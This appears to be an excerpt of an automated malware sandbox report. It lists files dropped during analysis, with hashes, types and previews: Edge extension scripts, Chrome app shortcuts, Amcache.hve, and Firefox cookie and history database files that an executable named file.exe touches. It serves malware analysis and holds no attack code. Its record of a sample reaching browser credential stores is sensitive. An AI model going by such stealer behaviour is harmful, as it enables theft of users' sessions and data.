Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir2284_286930724\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir2284_286930724\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2284_286930724\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2284_286930724\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_286930724\a2bd7f00-c84e-4726-9d16-17b54aeab05f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 14:21:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9831797139346135
Encrypted:	false
SSDEEP:	48:8KdqTTK7WTHZidAKZdA19ehwiZUklqeh6y+3:87HX5y
MD5:	5BD4FAAC5EF79A6E21833B2EB0046247
SHA1:	05D338E451D50146F5270B4A12D481BE2E82346F
SHA-256:	0C5063CB4D3627F68D5299041871B92A9AFEB7FFFC94CD8AF3CA28B3ACC2BB6F
SHA-512:	1308494ADE75B853A226C0D7D42F9F76F7285D2B82A0E1BF0DAE03CE63BAB7BAD99010841F48CEB7D68D8978AD221A50E99334411011020A4CF382D08569DF07
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Q.M?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........,!:......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 14:21:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.996183321048476
Encrypted:	false
SSDEEP:	48:8zdqTTK7WTHZidAKZdA1weh/iZUkAQkqehpy+2:8cHd9Q8y
MD5:	BFE73530AA92671A6A30BC3619393732
SHA1:	9D57E59376ADDFEF2DB3BCFFABB2DD3E5E175C10
SHA-256:	E489E356AC9824040154138830D3EA6A4A0B0E9C75220EDFE32BFD06747CDB4C
SHA-512:	133B60878CBC6BD5CB5E5538733D86797DCA1D2BBCAE69413E3514936BA5C98DF34E159F17CD4BB4E74947BD4E01563814C59B66D12F91095AF18E3499996659
Malicious:	false
Preview:	L..................F.@.. ...$+.,....$.E.M?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........,!:......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007969760270162
Encrypted:	false
SSDEEP:	48:8xXdqTTK7WsHZidAKZdA14tseh7sFiZUkmgqeh7sTy+BX:8x4H4nFy
MD5:	AAB8595AF097C160B6DB1FE481DB319E
SHA1:	D3AE64609E71102998E1328DDF258A7DD77AC4EB
SHA-256:	1334814D36CBEE6C782CCA9BE0DFE8D56F677532FB69E92518C3F64DB5991F80
SHA-512:	F82A9C2AE14B7ECC06AA0829C0FA4532FA1EF1203A9AB2E906F02C310F3D2B4B24C8CBD8EE5303DC1711E72DEB3C388D7D3E55256E621F1CFD7584F1733F72FB
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........,!:......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 14:21:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9957233742474196
Encrypted:	false
SSDEEP:	48:8PdqTTK7WTHZidAKZdA1vehDiZUkwqeh9y+R:8wHery
MD5:	27CF188C660A9AA8C82082B7E59E6FE3
SHA1:	B7D92F6BF1C1E322E0F77DC7192B80314E2AB73C
SHA-256:	F8377AF56677C480B47025D7CD6F744006EC9CB1C1206B496F64F0A3AF722BEC
SHA-512:	EE8DAD128EAE794075EC1445116AFF53471141B246A9D5E26A687EB90A3BD59DFC7ADA8E08EA6FD2AF1C00B93287FDE25242FC05B65D1DEF6A1EBF09FB306478
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....W@.M?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........,!:......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 14:21:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9836397130602075
Encrypted:	false
SSDEEP:	48:80dqTTK7WTHZidAKZdA1hehBiZUk1W1qeh/y+C:81Hu9fy
MD5:	6E682208D8F2CAF05100276A51528C0C
SHA1:	00553AA0B7A167572A8AE14EFEF79928CFC1479D
SHA-256:	331B98F3CA611FE343199EBF4EDD1CA186F80F9BD2797083F502611C8CBAA9E1
SHA-512:	8BFF2C9A0CFB8553ED3E72F8317F9D195FD95B8644E19C2B6FE6549B6056EB71624E905B476E03013DAA4FCF93365B6C0C2A77F060DF5D9D27CF5555F2B49162
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....CL.M?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........,!:......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 14:21:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9947620066493763
Encrypted:	false
SSDEEP:	48:8LdqTTK7WTHZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbFy+yT+:8UHQT/TbxWOvTbFy7T
MD5:	2658266C1AF4A98D61F725811CA931D8
SHA1:	97D3CC8A4836B278AFF8E16FA6F79336122BA918
SHA-256:	C06C02B672545E85C4ED1473EE916312BF1BA712FAB2C96948D7B8C1E9634C3E
SHA-512:	DA9A957C2981CBA12A63334EB44EC34E10CC255CAE8B44DC7274B93C4D8C14A4CC8B185926C069008D0565BD6CA419623FEC3E7FCC21F76D095DCF340EBC4EE6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....{7.M?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........,!:......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.418976442395342
Encrypted:	false
SSDEEP:	6144:/Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:KvloTMW+EZMM6DFyn03w
MD5:	9D0E961E79D8B73712DF494500743FA1
SHA1:	06EA0CF71E0169C62EB34A897CBA5007B78D96F0
SHA-256:	6EC5BF4F54E3B7AEFB329F897A13E5AF3F92D9EEC8555049F0AFA6EBC0260972
SHA-512:	2C6AC8C7A34D87CAC8BEEF6FA179EB5D289F017022D8A38A24AC19029F9E6A8D75EF4D3F6E66113B830B0C3520F43A648CD3288F154236C3283A70F3F1716620
Malicious:	false
